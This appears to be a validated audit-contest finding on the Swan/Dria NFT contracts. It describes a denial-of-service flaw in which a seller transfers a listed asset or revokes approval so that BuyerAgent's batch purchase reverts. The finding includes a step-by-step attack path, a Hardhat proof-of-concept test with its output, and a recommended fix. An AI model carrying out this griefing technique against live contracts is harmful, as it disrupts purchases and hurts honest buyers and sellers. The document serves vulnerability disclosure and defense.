Dria
Swan
NFTHardhat
21,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

BuyerAgent Batch Purchase Failure Due to Asset Transfer or Approval Revocation

mohammadx2049

BuyerAgent Batch Purchase Failure Due to Asset Transfer or Approval Revocation

Summary

The vulnerability allows a malicious seller to disrupt the purchase process of the BuyerAgent contract. This occurs when an asset that is supposed to be bought by the BuyerAgent is either transferred away or has its approval revoked, causing the entire batch purchase transaction to fail. As a result, the BuyerAgent becomes unable to complete the intended purchase of other assets, leading to a Denial of Service (DoS) scenario.

Vulnerability Details

The vulnerability stems from the flow involving the BuyerAgent's interaction with the Swan contract for purchasing assets. The BuyerAgent first sends an oraclePurchaseRequest to gather the list of assets to be purchased, which is determined by an external oracle. Once the purchase list is available, the user calls BuyerAgent::purchase to buy the assets. During this phase, the BuyerAgent invokes Swan::purchase for each asset in the purchase list.
https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/swan/BuyerAgent.sol?plain=1#L237-L252

Each asset listed for purchase creates an ERC721 token, where the seller is the owner of the respective tokenId. https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/swan/SwanAsset.sol?plain=1#L20-L43

The vulnerability is exposed when one of the ERC721 assets in the purchase list is transferred away from the seller to another user, or when the seller revokes the approval for Swan. Since the Swan contract requires the ownership of the asset to remain unchanged and the asset's approval to remain valid, the transfer or revocation leads to the failure of the Swan::purchase call. https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/swan/Swan.sol?plain=1#L294
Consequently, this failure causes BuyerAgent::purchase to revert, preventing the purchase of other assets listed in the transaction.

Attack Path

  1. A malicious seller lists an asset on Swan for purchase.

  2. The malicious seller either transfers the listed asset to another address or revokes Swan's approval before the BuyerAgent::purchase call is made by directly interact with asset contract.

  3. The BuyerAgent includes the listed asset for purchase based on the oracle's recommendation. The BuyerAgent, oracle, or Swan contract are unaware of any transfer of ownership or revocation of approval events that might occur after the listing.

  4. The BuyerAgent attempts to purchase the asset using Swan::purchase. However, due to the changed state (transfer or revoked approval), the call reverts.

  5. This reversion causes the entire BuyerAgent::purchase transaction to fail, leading to a denial of service for other assets that were meant to be purchased.

Impact

The impact of this vulnerability is significant as it allows a malicious seller to manipulate the behavior of the BuyerAgent contract, ultimately preventing it from purchasing other legitimate assets. This attack can be used to deceive buyers by causing failed transactions, even if those transactions involve assets from honest sellers. This vulnerability can be exploited repeatedly to create a denial of service, disrupting normal operations of the BuyerAgent and affecting market participants.

Tools Used

  • Manual Review

  • Hardhat for testing

POC

Since BuyerAgent::purchase needs to get the list of assets from the oracle output and it's a bit complex to simulate that directly, I added a wrapper function to BuyerAgent to call Swan::purchase from BuyerAgent directly (and avoid signer issues from hardhat):

function swanPurchase(address _asset) external onlyAuthorized {
swan.purchase(_asset);
}

This allows direct testing of individual asset purchases. you should add this function to BuyerAgent contract.

create new file in test directory:

// test/poc.test.ts
import { expect } from "chai";
import { ethers } from "hardhat";
import { Swan, BuyerAgent, ERC721 } from "../typechain-types";
import { deploySwanFixture, deployTokenFixture } from "./fixtures/deploy";
import { parseEther } from "ethers";
import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers";
import { transferTokens, listAssets, createBuyers } from "./helpers";
import { Phase } from "./types/enums";
import { time } from "@nomicfoundation/hardhat-toolbox/network-helpers";
​
/**
* Test scenario:
* - User lists an asset on Swan.
* - User transfers the asset by interacting directly to asset contract before the BuyerAgent attempts to purchase it.
* - BuyerAgent's purchase call should revert because the transfer cannot proceed.
* - Add another asset, keep the approval intact, and prove that the purchase works.
*/
describe("BuyerAgent Purchase Revert Scenario", function () {
let swan: Swan;
let token: ERC20;
let asset: ERC721;
let secondAsset: ERC721;
let buyerAgent: BuyerAgent;
let seller: HardhatEthersSigner;
let buyer: HardhatEthersSigner;
let dummyUser: HardhatEthersSigner;
​
const NAME = "SWAN_ASSET_NAME";
const SYMBOL = "SWAT";
const DESC = ethers.encodeBytes32String("description of the asset");
const PRICE = parseEther("1");
const AMOUNT_PER_ROUND = parseEther("2");
const ROYALTY_FEE = 1;
​
beforeEach(async function () {
// Get signers (seller, buyer, and dummy user)
[seller, buyer, dummyUser] = await ethers.getSigners();
​
// Deploy the token contract and verify the seller's initial balance
const supply = parseEther("1000");
token = await deployTokenFixture(seller, supply);
expect(await token.balanceOf(seller.address)).to.eq(supply);
​
// Set up market parameters for the Swan contract deployment
const MARKET_PARAMETERS = {
withdrawInterval: 1800, // Withdraw interval: 30 minutes
sellInterval: 3600, // Sell interval: 60 minutes
buyInterval: 600, // Buy interval: 10 minutes
platformFee: 1n,
maxAssetCount: 5n,
timestamp: 0n,
};
​
// Set up oracle parameters for Swan deployment
const ORACLE_PARAMETERS = { difficulty: 1, numGenerations: 1, numValidations: 1 };
const STAKES = { generatorStakeAmount: parseEther("0.01"), validatorStakeAmount: parseEther("0.01") };
const FEES = { platformFee: 1n, generationFee: parseEther("0.02"), validationFee: parseEther("0.1") };
​
// Deploy the Swan contract
const { swan: deployedSwan } = await deploySwanFixture(
seller,
token,
STAKES,
FEES,
MARKET_PARAMETERS,
ORACLE_PARAMETERS
);
swan = deployedSwan;
​
// Create a BuyerAgent for the buyer
const buyerAgentParams = {
name: "BuyerAgent#1",
description: "Description of BuyerAgent 1",
royaltyFee: ROYALTY_FEE,
amountPerRound: AMOUNT_PER_ROUND,
owner: buyer,
};
[buyerAgent] = await createBuyers(swan, [buyerAgentParams]);
​
// Fund the BuyerAgent with tokens for purchasing assets
await token.connect(seller).transfer(await buyerAgent.getAddress(), parseEther("3"));
​
// Approve Swan to spend tokens on behalf of the seller
await token.connect(seller).approve(await swan.getAddress(), PRICE);
​
// Seller lists two assets on Swan
await listAssets(swan, buyerAgent, [[seller, PRICE], [seller, PRICE]], NAME, SYMBOL, DESC, 0n);
const [listedAsset, secondListedAsset] = await swan.getListedAssets(await buyerAgent.getAddress(), 0n);
asset = await ethers.getContractAt("ERC721", listedAsset);
secondAsset = await ethers.getContractAt("ERC721", secondListedAsset);
​
// Increase time to move to the Buy phase
await time.increase(3600);
});
​
it("should successfully purchase the second asset if it is not transferred", async function () {
// Ensure we are in the Buy phase of the first round
const [round, phase] = await buyerAgent.getRoundPhase();
expect(round).to.equal(0n);
expect(phase).to.equal(Phase.Buy);
​
// Ensure the second asset is still owned by the seller
expect(await secondAsset.ownerOf(1)).to.equal(seller.address);
​
// BuyerAgent attempts to purchase the second asset
await buyerAgent.connect(buyer).swanPurchase(secondAsset.target);
​
// Verify that the second asset is now owned by the BuyerAgent
expect(await secondAsset.ownerOf(1)).to.equal(await buyerAgent.getAddress());
});
it("should revert purchase if asset is transferred away or approval is revoked", async function () {
// Ensure we are in the Buy phase of the first round
const [round, phase] = await buyerAgent.getRoundPhase();
expect(round).to.equal(0n);
expect(phase).to.equal(Phase.Buy);
// Verify approval status for the first asset and ensure seller owns it
expect(await asset.ownerOf(1)).to.equal(seller.address);
expect(await asset.isApprovedForAll(seller.address, swan.target)).to.be.true;
// Seller transfers the asset directly to another address (dummyUser) before the BuyerAgent attempts to purchase
await asset.connect(seller).transferFrom(seller.address, dummyUser.address, 1);
expect(await asset.ownerOf(1)).to.equal(dummyUser.address);
//// or remove approval
// await asset.connect(seller).setApprovalForAll(swan.target, false);
// expect(await asset.isApprovedForAll(seller.address, swan.target)).to.be.false;
​
​
// Attempt to purchase the transferred asset using BuyerAgent, expecting a revert due to insufficient approval
try {
await buyerAgent.connect(buyer).swanPurchase(asset.target);
throw new Error("Expected purchase to revert, but it succeeded");
} catch (error) {
if (error.message.includes("ERC721InsufficientApproval")) {
console.log("swan address:", swan.target);
console.log("Revert message matched: Purchase failed due to insufficient approval.", error);
} else {
throw new Error(`Unexpected revert message: ${error.message}`);
}
}
});
});

A seller lists two assets on the Swan platform. The BuyerAgent can buy the second asset successfully, which proves the correct functionality of the purchase mechanism. However, the first asset, which is transferred or has approval revoked, will fail. Before the BuyerAgent::purchase function is called, the seller transfers one of the assets or revokes the approval for Swan. The BuyerAgent::purchase call attempts to execute but fails due to the changed status of the asset, resulting in a reversion of the entire transaction.

output:

BuyerAgent Purchase Revert Scenario
✔ should successfully purchase the second asset if it is not transferred
swan address: 0xc6e7DF5E7b4f2A278906862b61205850344D4e7d
Revert message matched: Purchase failed due to insufficient approval. Error: VM Exception while processing transaction: reverted with custom error 'ERC721InsufficientApproval("0xc6e7DF5E7b4f2A278906862b61205850344D4e7d", 1)'
...
✔ should revert purchase if asset is transferred away or approval is revoked
​

Recommendations

The solution to this issue may depend on design choices. One possible recommendation is to modify the purchase logic to check the result of each individual Swan::purchase call and ignore reverts for specific assets. This way, if one asset cannot be purchased due to a transfer or approval revocation, the other assets can still be successfully purchased. This approach would prevent the entire batch transaction from failing due to issues with a single asset.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DoS in BuyerAgent::purchase

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.